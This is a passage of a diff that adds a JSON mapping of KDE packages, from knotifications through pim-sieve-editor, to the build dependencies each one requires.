"kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "pimcommon" + ], + "knotifications": [ + "extra-cmake-modules", + "kconfig" + ], + "knotifyconfig": [ + "extra-cmake-modules", + "ki18n", + "kio", + "knotifications", + "kxmlgui", + "phonon" + ], + "kodaskanna": [ + "extra-cmake-modules", + "kconfigwidgets", + "kcoreaddons", + "ki18n", + "kio", + "kwidgetsaddons", + "purpose" + ], + "koko": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "kdeclarative", + "kfilemetadata", + "kguiaddons", + "ki18n", + "kio", + "kirigami", + "knotifications", + "kquickimageeditor", + "purpose" + ], + "kolf": [ + "extra-cmake-modules", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kollision": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kolorfill": [ + "extra-cmake-modules", + "kirigami" + ], + "kolourpaint": [ + "extra-cmake-modules", + "kdoctools", + "kguiaddons", + "ki18n", + "kio", + "kjobwidgets", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui", + "libksane" + ], + "kommit": [ + "dolphin", + "extra-cmake-modules", + "kcoreaddons", + "kdoctools", + "ki18n", + "kio", + "ktexteditor", + "ktextwidgets", + "kxmlgui", + "syntax-highlighting" + ], + "kompare": [ + "extra-cmake-modules", + "kcodecs", + "kconfig", + "kcoreaddons", + "kdoctools", + "kiconthemes", + "kjobwidgets", + "kparts", + "ktexteditor", + "kwidgetsaddons", + "libkomparediff2" + ], + "kongress": [ + "extra-cmake-modules", + "kcalendarcore", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kirigami", + "knotifications" + ], + "konqueror": [ + "extra-cmake-modules", + "karchive", + "kcmutils", + "kcrash", + "kdbusaddons", + "kdesu", + "kdoctools", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kparts", + "kwindowsystem", + "plasma-activities" + ], + "konquest": [ + "extra-cmake-modules", + "kcolorscheme", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "kguiaddons", + "ki18n", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "konsole": [ + "extra-cmake-modules", + "kbookmarks", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "kglobalaccel", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "knewstuff", + "knotifications", + "knotifyconfig", + "kparts", + "kpty", + "kservice", + "ktextwidgets", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui" + ], + "kontact": [ + "extra-cmake-modules", + "grantleetheme", + "kontactinterface", + "ktexttemplate", + "libkdepim", + "pimcommon" + ], + "kontactinterface": [ + "extra-cmake-modules", + "kcoreaddons", + "ki18n", + "kparts", + "kwindowsystem", + "kxmlgui" + ], + "kontrast": [ + "extra-cmake-modules", + "futuresql", + "kcoreaddons", + "kdoctools", + "ki18n", + "kirigami", + "kirigami-addons" + ], + "konversation": [ + "extra-cmake-modules", + "karchive", + "kbookmarks", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "kglobalaccel", + "ki18n", + "kidletime", + "kio", + "kitemviews", + "knewstuff", + "knotifications", + "knotifyconfig", + "kparts", + "kstatusnotifieritem", + "kwallet", + "kwidgetsaddons", + "kwindowsystem" + ], + "kooka": [ + "extra-cmake-modules", + "kconfig", + "kdoctools", + "ki18n", + "kiconthemes", + "kio", + "kservice", + "ktextwidgets", + "kwidgetsaddons", + "sonnet" + ], + "kookbook": [ + "extra-cmake-modules" + ], + "kopeninghours": [ + "extra-cmake-modules", + "kholidays", + "ki18n" + ], + "kopete": [ + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kcontacts", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdnssd", + "kdoctools", + "ki18n", + "kidentitymanagement", + "knotifyconfig", + "kparts", + "ktexteditor", + "kwallet", + "libkleo", + "phonon" + ], + "korganizer": [ + "akonadi", + "akonadi-calendar", + "akonadi-contacts", + "akonadi-notes", + "calendarsupport", + "eventviews", + "extra-cmake-modules", + "incidenceeditor", + "kcalendarcore", + "kcalutils", + "kcmutils", + "kconfig", + "kconfigwidgets", + "kcontacts", + "kcoreaddons", + "kcrash", + "kdiagram", + "kdoctools", + "kholidays", + "ki18n", + "kiconthemes", + "kidentitymanagement", + "kitemviews", + "kjobwidgets", + "kldap", + "kmailtransport", + "kmime", + "knewstuff", + "kontactinterface", + "kparts", + "kuserfeedback", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "libkdepim", + "pimcommon" + ], + "kosmindoormap": [ + "extra-cmake-modules", + "ki18n", + "kirigami", + "kirigami-addons", + "kopeninghours", + "kpublictransport", + "kservice" + ], + "kpackage": [ + "extra-cmake-modules", + "karchive", + "kcoreaddons", + "kdoctools", + "ki18n" + ], + "kparts": [ + "extra-cmake-modules", + "kio", + "knotifications", + "kxmlgui" + ], + "kpat": [ + "extra-cmake-modules", + "kio", + "libkdegames" + ], + "kpeople": [ + "extra-cmake-modules", + "kcontacts", + "kcoreaddons", + "ki18n", + "kitemviews", + "kwidgetsaddons" + ], + "kpeoplevcard": [ + "extra-cmake-modules", + "kcontacts", + "kcoreaddons", + "ki18n", + "kpeople" + ], + "kphotoalbum": [ + "karchive", + "kcompletion", + "kconfig", + "kcoreaddons", + "ki18n", + "kiconthemes", + "kio", + "kjobwidgets", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui", + "libkdcraw", + "marble", + "phonon", + "purpose" + ], + "kpimtextedit": [ + "extra-cmake-modules", + "kcodecs", + "kconfig", + "kcoreaddons", + "ki18n", + "kiconthemes", + "kio", + "ktextaddons", + "ktexttemplate", + "kwidgetsaddons", + "kxmlgui", + "sonnet", + "syntax-highlighting" + ], + "kpipewire": [ + "extra-cmake-modules", + "kcoreaddons", + "ki18n", + "plasma-wayland-protocols", + "wayland" + ], + "kpkpass": [ + "extra-cmake-modules", + "karchive" + ], + "kplotting": [ + "extra-cmake-modules" + ], + "kpmcore": [ + "extra-cmake-modules", + "kcoreaddons", + "ki18n", + "kwidgetsaddons", + "polkit-qt-1" + ], + "kproperty": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kguiaddons", + "kwidgetsaddons" + ], + "kpty": [ + "extra-cmake-modules", + "kcoreaddons", + "ki18n" + ], + "kpublictransport": [ + "extra-cmake-modules", + "ki18n", + "networkmanager-qt" + ], + "kqtquickcharts": [ + "extra-cmake-modules" + ], + "kquickcharts": [ + "extra-cmake-modules" + ], + "kquickimageeditor": [ + "extra-cmake-modules" + ], + "krdc": [ + "extra-cmake-modules", + "kbookmarks", + "kcmutils", + "kcompletion", + "kconfig", + "kdnssd", + "ki18n", + "kiconthemes", + "knotifications", + "knotifyconfig", + "kstatusnotifieritem", + "kwallet", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "plasma-activities" + ], + "krecorder": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "kirigami", + "kirigami-addons", + "kwindowsystem" + ], + "kregexpeditor": [ + "extra-cmake-modules", + "kconfigwidgets", + "kcrash", + "kdoctools", + "ki18n", + "kiconthemes", + "kservice", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui" + ], + "krename": [ + "extra-cmake-modules", + "karchive", + "kcompletion", + "kconfig", + "kcoreaddons", + "kcrash", + "ki18n", + "kiconthemes", + "kio", + "kitemviews", + "kjobwidgets", + "kservice", + "kwidgetsaddons", + "kxmlgui" + ], + "kreport": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kguiaddons", + "kproperty", + "kwidgetsaddons" + ], + "kreversi": [ + "extra-cmake-modules", + "kcolorscheme", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "kjobwidgets", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "krfb": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdnssd", + "kdoctools", + "ki18n", + "knotifications", + "kpipewire", + "kstatusnotifieritem", + "kwallet", + "kwayland", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "plasma-wayland-protocols" + ], + "kronometer": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui" + ], + "kruler": [ + "extra-cmake-modules", + "kdoctools", + "ki18n", + "knotifications", + "kstatusnotifieritem", + "kwindowsystem", + "kxmlgui" + ], + "krunner": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "kitemmodels", + "threadweaver" + ], + "krusader": [ + "extra-cmake-modules", + "karchive", + "kbookmarks", + "kcodecs", + "kcompletion", + "kconfig", + "kcoreaddons", + "kdoctools", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kitemviews", + "knotifications", + "kparts", + "ktextwidgets", + "kwallet", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "solid" + ], + "ksanecore": [ + "extra-cmake-modules", + "ki18n" + ], + "kscreen": [ + "extra-cmake-modules", + "kauth", + "kcmutils", + "kcodecs", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdbusaddons", + "kglobalaccel", + "ki18n", + "kpackage", + "kservice", + "ksvg", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "layer-shell-qt", + "libkscreen", + "libplasma" + ], + "kscreenlocker": [ + "extra-cmake-modules", + "kauth", + "kcmutils", + "kcodecs", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kglobalaccel", + "ki18n", + "kidletime", + "knotifications", + "kservice", + "ksvg", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "layer-shell-qt", + "libkscreen", + "libplasma", + "wayland" + ], + "kseexpr": [ + "extra-cmake-modules", + "ki18n" + ], + "kservice": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kdoctools", + "ki18n" + ], + "kshisen": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kxmlgui", + "libkdegames", + "libkmahjongg" + ], + "ksirk": [ + "extra-cmake-modules", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kio", + "knewstuff", + "kwallet", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "ksmtp": [ + "extra-cmake-modules", + "kcoreaddons", + "ki18n", + "kio" + ], + "ksnakeduel": [ + "extra-cmake-modules", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "kguiaddons", + "ki18n", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kspaceduel": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kxmlgui", + "libkdegames" + ], + "ksquares": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "ksshaskpass": [ + "extra-cmake-modules", + "kcoreaddons", + "kdoctools", + "ki18n", + "kwallet", + "kwidgetsaddons" + ], + "kstatusnotifieritem": [ + "extra-cmake-modules", + "kwindowsystem" + ], + "ksudoku": [ + "extra-cmake-modules", + "karchive", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdoctools", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kjobwidgets", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "ksvg": [ + "extra-cmake-modules", + "karchive", + "kcolorscheme", + "kconfig", + "kcoreaddons", + "kguiaddons", + "kirigami" + ], + "ksystemlog": [ + "extra-cmake-modules", + "karchive", + "kcompletion", + "kconfig", + "kcoreaddons", + "kdoctools", + "ki18n", + "kio", + "kitemviews", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui" + ], + "ksystemstats": [ + "extra-cmake-modules", + "kcoreaddons", + "kio", + "libksysguard", + "solid" + ], + "kteatime": [ + "extra-cmake-modules", + "kconfig", + "kcrash", + "kdoctools", + "ki18n", + "kiconthemes", + "knotifications", + "knotifyconfig", + "ktextwidgets", + "kxmlgui" + ], + "ktechlab": [ + "ktexteditor" + ], + "ktextaddons": [ + "breeze-icons", + "extra-cmake-modules", + "karchive", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "ki18n", + "kio", + "qtkeychain", + "sonnet", + "syntax-highlighting" + ], + "ktexteditor": [ + "breeze-icons", + "extra-cmake-modules", + "karchive", + "kauth", + "kconfig", + "kguiaddons", + "ki18n", + "kio", + "kjobwidgets", + "kparts", + "ktextwidgets", + "kxmlgui", + "sonnet", + "syntax-highlighting" + ], + "ktexttemplate": [ + "extra-cmake-modules" + ], + "ktextwidgets": [ + "extra-cmake-modules", + "kcompletion", + "kconfig", + "kconfigwidgets", + "ki18n", + "kwidgetsaddons", + "sonnet" + ], + "ktimer": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "knotifications", + "kstatusnotifieritem", + "kwidgetsaddons" + ], + "ktimetracker": [ + "extra-cmake-modules", + "kcalendarcore", + "kcmutils", + "kconfig", + "kconfigwidgets", + "kdbusaddons", + "kdoctools", + "ki18n", + "kidletime", + "kio", + "kjobwidgets", + "knotifications", + "kstatusnotifieritem", + "ktextwidgets", + "kwindowsystem", + "kxmlgui" + ], + "ktnef": [ + "extra-cmake-modules", + "kcalendarcore", + "kcalutils", + "kcontacts" + ], + "ktorrent": [ + "extra-cmake-modules", + "karchive", + "kcmutils", + "kcompletion", + "kcrash", + "kdnssd", + "kglobalaccel", + "ki18n", + "kiconthemes", + "kio", + "kitemviews", + "knotifications", + "knotifyconfig", + "kparts", + "kplotting", + "kstatusnotifieritem", + "ktextwidgets", + "kxmlgui", + "libktorrent", + "phonon", + "solid", + "syndication" + ], + "ktouch": [ + "extra-cmake-modules", + "kcmutils", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdoctools", + "ki18n", + "kiconthemes", + "kitemviews", + "ktextwidgets", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui" + ], + "ktrip": [ + "extra-cmake-modules", + "kconfig", + "kcontacts", + "kcoreaddons", + "ki18n", + "kirigami", + "kirigami-addons", + "kpublictransport", + "qqc2-desktop-style" + ], + "ktuberling": [ + "extra-cmake-modules", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kturtle": [ + "extra-cmake-modules", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kio", + "knewstuff", + "ktextwidgets", + "kxmlgui" + ], + "kubrick": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kunifiedpush": [ + "extra-cmake-modules", + "kcmutils", + "kcoreaddons", + "kservice" + ], + "kunitconversion": [ + "extra-cmake-modules", + "kconfig", + "ki18n" + ], + "kup": [ + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kidletime", + "kjobwidgets", + "knotifications", + "kwidgetsaddons", + "libplasma", + "plasma5support", + "solid" + ], + "kuserfeedback": [ + "extra-cmake-modules" + ], + "kwallet": [ + "extra-cmake-modules", + "gpgme", + "kcolorscheme", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kiconthemes", + "knotifications", + "kwidgetsaddons", + "kwindowsystem", + "qca" + ], + "kwallet-pam": [ + "extra-cmake-modules", + "kwallet" + ], + "kwalletmanager": [ + "extra-cmake-modules", + "karchive", + "kauth", + "kcmutils", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "kstatusnotifieritem", + "kwallet", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui" + ], + "kwave": [ + "extra-cmake-modules", + "karchive", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kiconthemes", + "kio", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui" + ], + "kwayland": [ + "extra-cmake-modules", + "plasma-wayland-protocols", + "wayland", + "wayland-protocols" + ], + "kweather": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "kirigami", + "kirigami-addons", + "knotifications", + "kweathercore", + "libplasma" + ], + "kweathercore": [ + "extra-cmake-modules", + "kholidays", + "ki18n" + ], + "kwidgetsaddons": [ + "extra-cmake-modules" + ], + "kwin": [ + "breeze", + "breeze-icons", + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdeclarative", + "kdecoration", + "kdoctools", + "kglobalaccel", + "kglobalacceld", + "ki18n", + "kidletime", + "kirigami", + "knewstuff", + "knotifications", + "kpackage", + "kpipewire", + "kscreenlocker", + "kservice", + "ksvg", + "kwayland", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "libplasma", + "libqaccessibilityclient", + "plasma-activities", + "plasma-wayland-protocols", + "wayland", + "wayland-protocols" + ], + "kwindowsystem": [ + "extra-cmake-modules", + "plasma-wayland-protocols", + "wayland", + "wayland-protocols" + ], + "kwordquiz": [ + "extra-cmake-modules", + "kconfig", + "kcrash", + "kdoctools", + "ki18n", + "kirigami-addons", + "knewstuff", + "libkeduvocdocument" + ], + "kwrited": [ + "extra-cmake-modules", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "knotifications", + "kpty" + ], + "kxmlgui": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kglobalaccel", + "ki18n", + "kiconthemes", + "kitemviews", + "ktextwidgets", + "kwidgetsaddons" + ], + "kxstitch": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kguiaddons", + "ki18n", + "kio", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui" + ], + "labplot": [ + "extra-cmake-modules", + "karchive", + "kconfig", + "kcoreaddons", + "kcrash", + "kdoctools", + "kguiaddons", + "ki18n", + "kitemviews", + "knewstuff", + "kparts", + "ktexteditor", + "kuserfeedback", + "kwidgetsaddons", + "kxmlgui" + ], + "latte-dock": [ + "extra-cmake-modules", + "karchive", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdeclarative", + "kdoctools", + "kglobalaccel", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kirigami", + "knewstuff", + "knotifications", + "kwayland", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "libplasma", + "plasma-activities", + "plasma-workspace" + ], + "layer-shell-qt": [ + "extra-cmake-modules", + "wayland", + "wayland-protocols" + ], + "libgravatar": [ + "extra-cmake-modules", + "pimcommon" + ], + "libkcddb": [ + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kconfigwidgets", + "kdoctools", + "ki18n", + "kio", + "kwidgetsaddons" + ], + "libkcompactdisc": [ + "extra-cmake-modules", + "ki18n", + "phonon", + "solid" + ], + "libkdcraw": [ + "extra-cmake-modules" + ], + "libkdegames": [ + "extra-cmake-modules", + "karchive", + "kcolorscheme", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kdnssd", + "kguiaddons", + "ki18n", + "kiconthemes", + "knewstuff", + "kxmlgui" + ], + "libkdepim": [ + "extra-cmake-modules", + "kcompletion", + "ki18n", + "kwidgetsaddons" + ], + "libkeduvocdocument": [ + "extra-cmake-modules", + "karchive", + "ki18n", + "kio" + ], + "libkexiv2": [ + "extra-cmake-modules" + ], + "libkgapi": [ + "extra-cmake-modules", + "kcalendarcore", + "kcontacts", + "kwallet" + ], + "libkipi": [ + "extra-cmake-modules", + "kconfig", + "kservice", + "kxmlgui" + ], + "libkleo": [ + "extra-cmake-modules", + "kcodecs", + "kcolorscheme", + "kcompletion", + "kconfig", + "kcoreaddons", + "ki18n", + "kitemmodels", + "ktextaddons", + "kwidgetsaddons" + ], + "libkmahjongg": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "ki18n", + "kwidgetsaddons" + ], + "libkomparediff2": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "kio", + "kxmlgui" + ], + "libksane": [ + "extra-cmake-modules", + "ki18n", + "ksanecore", + "ktextwidgets", + "kwallet", + "kwidgetsaddons" + ], + "libkscreen": [ + "extra-cmake-modules", + "plasma-wayland-protocols", + "wayland" + ], + "libksieve": [ + "extra-cmake-modules", + "kidentitymanagement", + "kimap", + "kmailtransport", + "kmime", + "ktextaddons", + "libkdepim", + "pimcommon" + ], + "libksysguard": [ + "extra-cmake-modules", + "kauth", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kglobalaccel", + "ki18n", + "kiconthemes", + "kio", + "kjobwidgets", + "knewstuff", + "kpackage", + "kservice", + "kwidgetsaddons", + "kwindowsystem", + "solid" + ], + "libktorrent": [ + "extra-cmake-modules", + "karchive", + "kcrash", + "ki18n", + "kio", + "solid" + ], + "libmediawiki": [ + "extra-cmake-modules", + "kcoreaddons" + ], + "libplasma": [ + "extra-cmake-modules", + "karchive", + "kcmutils", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdbusaddons", + "kglobalaccel", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kirigami", + "knotifications", + "kpackage", + "kparts", + "ksvg", + "kwidgetsaddons", + "kwindowsystem", + "plasma-activities" + ], + "libqaccessibilityclient": [ + "extra-cmake-modules" + ], + "libqmycroft": [ + "extra-cmake-modules" + ], + "licensedigger": [ + "extra-cmake-modules" + ], + "licentia": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kirigami", + "kitemmodels" + ], + "lokalize": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "knotifications", + "kxmlgui", + "sonnet" + ], + "lskat": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdoctools", + "kguiaddons", + "ki18n", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "mailcommon": [ + "akonadi", + "akonadi-mime", + "extra-cmake-modules", + "karchive", + "kcodecs", + "kmailtransport", + "kmime", + "libkdepim", + "mailimporter", + "messagelib", + "pimcommon" + ], + "mailimporter": [ + "akonadi", + "akonadi-mime", + "extra-cmake-modules", + "kmime", + "pimcommon" + ], + "marble": [ + "extra-cmake-modules" + ], + "mark": [ + "extra-cmake-modules", + "kconfigwidgets", + "kcoreaddons", + "kxmlgui" + ], + "markdownpart": [ + "extra-cmake-modules", + "ki18n", + "kparts" + ], + "marknote": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "kirigami" + ], + "massif-visualizer": [ + "extra-cmake-modules", + "karchive", + "kconfig", + "kcoreaddons", + "kdiagram", + "kgraphviewer", + "ki18n", + "kio", + "kparts" + ], + "mauikit": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "knotifications", + "kwindowsystem", + "mauiman" + ], + "mauikit-accounts": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "kirigami", + "mauikit" + ], + "mauikit-calendar": [ + "akonadi-calendar", + "akonadi-contacts", + "calendarsupport", + "eventviews", + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "mauikit" + ], + "mauikit-documents": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "mauikit" + ], + "mauikit-filebrowsing": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "kio", + "mauikit" + ], + "mauikit-imagetools": [ + "extra-cmake-modules", + "kcoreaddons", + "ki18n", + "kquickimageeditor", + "mauikit" + ], + "mauikit-terminal": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "mauikit" + ], + "mauikit-texteditor": [ + "extra-cmake-modules", + "kcoreaddons", + "ki18n", + "mauikit", + "syntax-highlighting" + ], + "mbox-importer": [ + "akonadi", + "extra-cmake-modules", + "mailcommon", + "mailimporter" + ], + "merkuro": [ + "akonadi", + "akonadi-calendar", + "extra-cmake-modules", + "kcalendarcore", + "kcalutils", + "kconfigwidgets", + "kcontacts", + "kdepim-runtime", + "kirigami", + "kirigami-addons", + "kmime", + "kwindowsystem", + "kxmlgui", + "mailcommon", + "mimetreeparser", + "qqc2-desktop-style" + ], + "messagelib": [ + "akonadi", + "akonadi-contacts", + "akonadi-mime", + "akonadi-search", + "extra-cmake-modules", + "grantleetheme", + "kcolorscheme", + "kcontacts", + "kidentitymanagement", + "kmailtransport", + "kmbox", + "kmime", + "kpimtextedit", + "kservice", + "ktextaddons", + "ktexttemplate", + "libgravatar", + "libkdepim", + "libkleo", + "pimcommon", + "qca" + ], + "milou": [ + "extra-cmake-modules", + "ki18n", + "krunner", + "libplasma" + ], + "mimetreeparser": [ + "extra-cmake-modules", + "kcalendarcore", + "kmbox", + "kmime", + "kwidgetsaddons", + "libkleo" + ], + "minuet": [ + "extra-cmake-modules", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n" + ], + "modemmanager-qt": [ + "extra-cmake-modules" + ], + "mpvqt": [ + "extra-cmake-modules" + ], + "neochat": [ + "cmark", + "extra-cmake-modules", + "kcolorscheme", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kio", + "kirigami", + "kirigami-addons", + "kitemmodels", + "knotifications", + "kquickcharts", + "kquickimageeditor", + "kstatusnotifieritem", + "kwindowsystem", + "libquotient", + "prison", + "qcoro", + "qqc2-desktop-style", + "qtkeychain", + "selenium-webdriver-at-spi", + "sonnet", + "syntax-highlighting" + ], + "networkmanager-qt": [ + "extra-cmake-modules" + ], + "notae": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kirigami", + "kirigami-addons", + "kwindowsystem", + "syntax-highlighting" + ], + "ocean-sound-theme": [ + "extra-cmake-modules" + ], + "okteta": [ + "extra-cmake-modules", + "kbookmarks", + "kcompletion", + "kconfigwidgets", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "kitemviews", + "knewstuff", + "kparts", + "kservice", + "kwidgetsaddons", + "kxmlgui" + ], + "okular": [ + "breeze-icons", + "karchive", + "kbookmarks", + "kdegraphics-mobipocket", + "ki18n", + "kio", + "kparts", + "kpty", + "ktextwidgets", + "kxmlgui", + "libkexiv2", + "phonon", + "plasma-activities", + "purpose", + "threadweaver" + ], + "oxygen": [ + "extra-cmake-modules", + "frameworkintegration", + "kcmutils", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdecoration", + "kguiaddons", + "ki18n", + "kservice", + "kwidgetsaddons", + "kwindowsystem", + "libplasma" + ], + "oxygen-icons": [ + "extra-cmake-modules" + ], + "oxygen-sounds": [ + "extra-cmake-modules" + ], + "palapeli": [ + "extra-cmake-modules", + "karchive", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kio", + "kitemviews", + "knotifications", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "parley": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kio", + "knewstuff", + "knotifications", + "ktextwidgets", + "kxmlgui", + "libkeduvocdocument", + "sonnet" + ], + "partitionmanager": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "kjobwidgets", + "kpmcore", + "kwidgetsaddons", + "kxmlgui" + ], + "perceptualcolor": [ + "extra-cmake-modules" + ], + "peruse": [ + "baloo", + "extra-cmake-modules", + "karchive", + "kconfig", + "kcoreaddons", + "kcrash", + "kdeclarative", + "kfilemetadata", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kirigami", + "kirigami-addons", + "knewstuff" + ], + "phonon": [ + "extra-cmake-modules" + ], + "phonon-gstreamer": [ + "phonon" + ], + "phonon-vlc": [ + "extra-cmake-modules", + "phonon" + ], + "picmi": [ + "extra-cmake-modules", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "knewstuff", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "pim-data-exporter": [ + "akonadi", + "akonadi-notes", + "extra-cmake-modules", + "kcalendarcore", + "kcontacts", + "kidentitymanagement", + "kmailtransport", + "kmime", + "kstatusnotifieritem", + "ktextaddons", + "kuserfeedback", + "mailcommon", + "pimcommon" + ], + "pim-sieve-editor": [ + "extra-cmake-modules", + "kimap", + "kmailtransport", + "kuserfeedback", + "kxmlgui", + "libksieve", + "pimcommon", + 